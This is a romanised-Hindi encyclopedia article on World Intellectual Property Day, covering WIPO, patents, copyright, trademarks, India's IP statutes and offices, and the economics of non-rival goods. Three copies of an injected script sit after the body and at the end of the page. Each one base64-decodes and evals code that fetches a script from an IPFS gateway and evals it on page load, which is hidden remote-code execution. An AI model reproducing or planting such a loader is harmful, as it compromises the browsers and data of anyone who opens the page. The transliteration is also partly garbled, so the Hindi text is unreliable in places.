विश्व बौद्धिक सम्पदा दिवस
vishv bauddhik sampada divas
| |
| vivaran | vishv bauddhik sanpada divas navachar aur rachanatmaka ko badhava dene mean bauddhik sanpada adhikaroan (peteant, tredamark, audyogik dijain, k aaupirait) ki bhoomika ke bare mean jagarukata phailane ke lie manaya jata hai. |
| tithi | 26 aprail |
| uddeshy | bauddhik sampada ke adhikaroan (peteant, tredamark, iandastriyal dijaeen, k aaupirait) adi ke prati logoan ko jagaruk karana hai. |
| bauddhik sanpada | kisi vyakti athava sanstha dvara srijit koee rachana, sangit, sahityik kriti, kala, khoj, nam athava dijain adi, us vyakti athava sanstha ki ‘bauddhik sanpada’ kahalati hai. |
| bauddhik sanpada adhikar | vyakti athava sanstha ko apani in kritiyoan par prapt adhikar ko ‘bauddhik sanpada adhikar’ kaha jata hai. |
| sanbandhit lekh | vishv bauddhik sampada sangathan, vishv vyapar sangathan |
| any janakari | bharat ne ek bauddhik sampatti adhikar pranali sthapit ki hai, jo vishv vyapar sangathan ke anuroop hai aur sabhi staroan par chahe vah saanvidhik, prashasanik athava nyayik ho, bhali bhaanti sthapit hai. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 18:54, 27 aprॅl 2018 (IST)
|
vishv bauddhik sampada divas (aangrezi: World Intellectual Property Day) vishv bauddhik sampada sangathan (WIPO) ke tatvavadhan mean prativarsh isake sthapana divas par 26 aprail ko manaya jata hai. isaka divas ko manaye jane ka uddeshy bauddhik sampada ke adhikaroan (peteant, tredamark, iandastriyal dijaeen, k aaupirait) adi ke prati logoan ko jagaruk karana hai.
bauddhik sanpada adhikar
kisi vyakti athava sanstha dvara srijit koee rachana, sangit, sahityik kriti, kala, khoj, nam athava dijain adi, us vyakti athava sanstha ki ‘bauddhik sanpada’ kahalati hai. vyakti athava sanstha ko apani in kritiyoan par prapt adhikar ko ‘bauddhik sanpada adhikar’ (Intellectual Property Rights) kaha jata hai. bauddhik sanpada adhikar, manasik rachanaean, kalatmak aur vanijyik, donoan ke sandarbh mean vishesh adhikaroan ke samooh haian. pratham adhikar k aaupirait qanoonoan se avrit haian, jo rachanatmak karyoan, jaise pustakean, filmean, sangit, peantiang, chhaya-chitr aur s aauphtaveyar ko sanrakshan pradan karata hai aur k aaupirait adhikar-dharak ko ek nishchit avadhi ke lie punarutpadan par ya usake roopaantaran par niyantran ka vishesh adhikar deta hai. doosari shreni, samoohik roop se “audyogik sanpatti” ke roop mean jani jati hai, kyoanki inaka upayog vishisht roop se audyogik ya vanijyik prayojanoan ke lie kiya jata hai. peteant ek ne, upayogi aur aspasht avishkar ke lie diya ja sakata hai aur peteant dharak ko doosaroan ko avishkarak dvara bina laiseans die ek nishchit avadhi ke lie avishkar ke abhyas se rokane ka adhikar pradan karata hai. bahu pakshiy vyapar aur vanijy badhane ke vartaman ke vaishvik paridrishy mean kisi bhi desh ke lie rachanakaroan aur avishkarakoan ko saanvidhik adhikar pradan karake apani bauddhik sampatti ki suraksha karana avashyak ho gaya hai aur isase unhean vishv ke bazar mean apane prayasoan ka uchit vanijyik mooly prapt karane mean madad milati hai. navin aur srijanatmak kshamata ko vishv vyapar sangathan ki bauddhik sampatti pranali ke tahat surakshit rakha jata hai. is tathy ko manate hue, bharat ne vishv vyapar sangathan ka ek sansthapak sadasy hone ke nate vyapar sanbandhi bauddhik sampatti adhikaroan (tiaraeepies) se sanbandhit karar ka anusamarthan kiya hai. is karar ke anusar bharat sahit sabhi sadasy desh paraspar varta se nirdharit kie ge pratimanoan aur manakoan ka palan anubandhit samay sima ke aantargat kareange.[1]
bharat mean adhikar pranali
tadanusar, bharat ne ek bauddhik sampatti adhikar pranali sthapit ki hai, jo vishv vyapar sangathan ke anuroop hai aur sabhi staroan par chahe vah saanvidhik, prashasanik athava nyayik ho, bhali-bhaanti sthapit hai. bharat sarakar ne bauddhik sampatti ke bhari mahatv ko dekhate hue desh mean isake prashasan ko karagar banane ke lie vyapak upay kie haian. bauddhik sanpada adhikar vyakti ya sanstha ko apani rachana/avishkar par ek nishchit avadhi ke lie visheshadhikar pradan karate haian. in visheshadhikaroan ka vidhi dvara sanrakshan peteant, k aaupirait athava tredamark adi ke roop mean kiya jata hai. isase sarjak khoj tatha 'navachar' (Innovation) ke lie utsahit aur udyat rahate haian aur vittiy evan vanijyik labh prapt karate haian. aantarrashtriy bauddhik sanpada adhikar soochakaank ameriki vanijyik sangathan ‘yooes chaimbar aauph k aaumars’ dvara varsh 2007 mean sthapit ‘global iantelekchual pr aauparti seantar’ (GIPC : Global Intellectual Property Center) dvara varsh 2013 se prati varsh jari kiya hai. isaka uddeshy amerika aur any pramukh deshoan mean bauddhik sanpada adhikaroan ka sanrakshan tatha isake manadandoan ka bachav aur sanvardhan karana hai. vanijy evan udyog mantralay mean, audyogik niti evan sanvardhan vibhag ke adhin ‘mahaniyantran, petent, dijain aur tred mark (sijipiditiem)’ ke karyalay ka gathan kiya gaya hai. yah petent, dijain, tredamark aur bhaugolik nidarshan se sanbandhit sabhi mamaloan ko prakashit karata hai. isake alava, svatvadhikaroan (k aaupiraits) aur isase sanbandhit adhikaroan ke panjikaran sahit sabhi prakar ki suvidhaean muhaiya karane ke lie manav sansadhan vikas mantralay ke shiksha vibhag mean ek k aaupirait karyalay ki sthapana ki gee hai.[1]
itihas
jahaan tak ekikrit paripathoan le aut dijain taiyar karane se sanbandhit muddoan ka sanbandh hai, ”soochana praudyogiki mantralay ka ilektr aauniks aur soochana praudyogiki vibhag ek nodal sangathan hai. jabaki krishi mantralay paudh ki suraksha, kismoan ki suraksha aur krishak adhikar pradhikari” paudh ki kismoan se sanbandhit sabhi upayoan aur nitiyoan ko prashasit karata hai. yadyapi kee sadiyoan se bauddhik sanpada ka sanchalan karane vale bahut se qanooni siddhaant vikasit hue haian, tathapi unnisavian sadi ke bad hi bauddhik sanpada shabd prachalan mean aya aur yah kaha jata hai ki bisavian sadi ke uttarardh mean isane amerika mean am sthan paya. prashasanik dhaanche ko majaboot banane ke lie kee prakar ke vaidhanik upay kie ge haian. inamean tredamark adhiniyam, 1999; vastuoan ka bhaugolik nidarshan (panjikaran evan suraksha) adhiniyam, 1999; dijain adhiniyam, 2000; petent adhiniyam, 1970 aur isamean varsh 2002 aur 2005 mean kie ge sanshodhan; bharatiy k aaupirait adhiniyam, 1957 aur isaka sanshodhan k aaupirait (sanshodhan) adhiniyam, 1999; arddhachalak ekikrit paripath le aut dijain adhiniyam, 2000; tatha paudhoan ki kismoan aur krishak adhikaroan ka sanrakshan adhiniyam, 2001 bauddhik sanpada adhikar asthaee ekadhikar haian, jo rajy dvara abhivyakti aur vicharoan ke upayog ke sanbandh mean lagoo kiye jate haian. bauddhik sanpada adhikar amataur par gair pratidvandvi vastuoan tak hi simit hote haian, arthath ve vastuean, jinaka ek sath bahut se logoan dbara anand uthaya ja sakata hai ya prayog kiya ja sakata hai- ek vyakti dbara prayog, doosare ko usake prayog se vanchit nahian karata hai. isaki tulana pratidvandvi vastuoan se ki ja sakati hai, jaise ki kap de, jo ek samay mean keval ek hi vyakti dvara istemal kiye ja sakate haian. udaharan ke taur par, ganit ke ek farmoole ko ek sath kee log prayog kar sakate haian.
bauddhik sanpada shabd par kuchh apattiyaan is tark par adharit hai ki sanpada keval yatharthatah pratidvandvi vastuoan par hi lagoo ho sakati hai (ya ki koee bhi is tarah ki sanpada ka “svamitv” nahian rakh sakata) chooanki ek gair pratidvandvi vastu ka upayog (udaharan ke lie naqal) bahut se log ek hi samay mean kar sakate haian (nyoonatam simaant lagat ke sath utpadit) isalie utpadakoan ko is prakar ke karyoan ko sthapit karane ke lie paise ke alava protsahan ki zaroorat ho sakati hai. isake viparit, ekadhikar mean akushalata bhi hai. atah bauddhik sanpada adhikaroan ki sthapana ek len-den ko darshati hai, jo gair pratidvandvi vastuoan ke nirman mean (unake utpadan ko badhava dekar) ekadhikar shakti ki samasyaoan ke sath, samaj ke hit ko santulit karata hai. chooanki len-den aur prasangik labh aur samaj ke lie usaki lagat bahut se karakoan par nirbhar karegi, jo har samaj aur utpad ke lie vishisht hai, vah ishtatam samayavadhi jisake dauran asthayi ekadhikar adhikar bane rahane chahie, aspasht hai.[1]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 vishv bauddhik sampada divas (hindi) pravakta.com. abhigaman tithi: 26 aprail, 2017.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>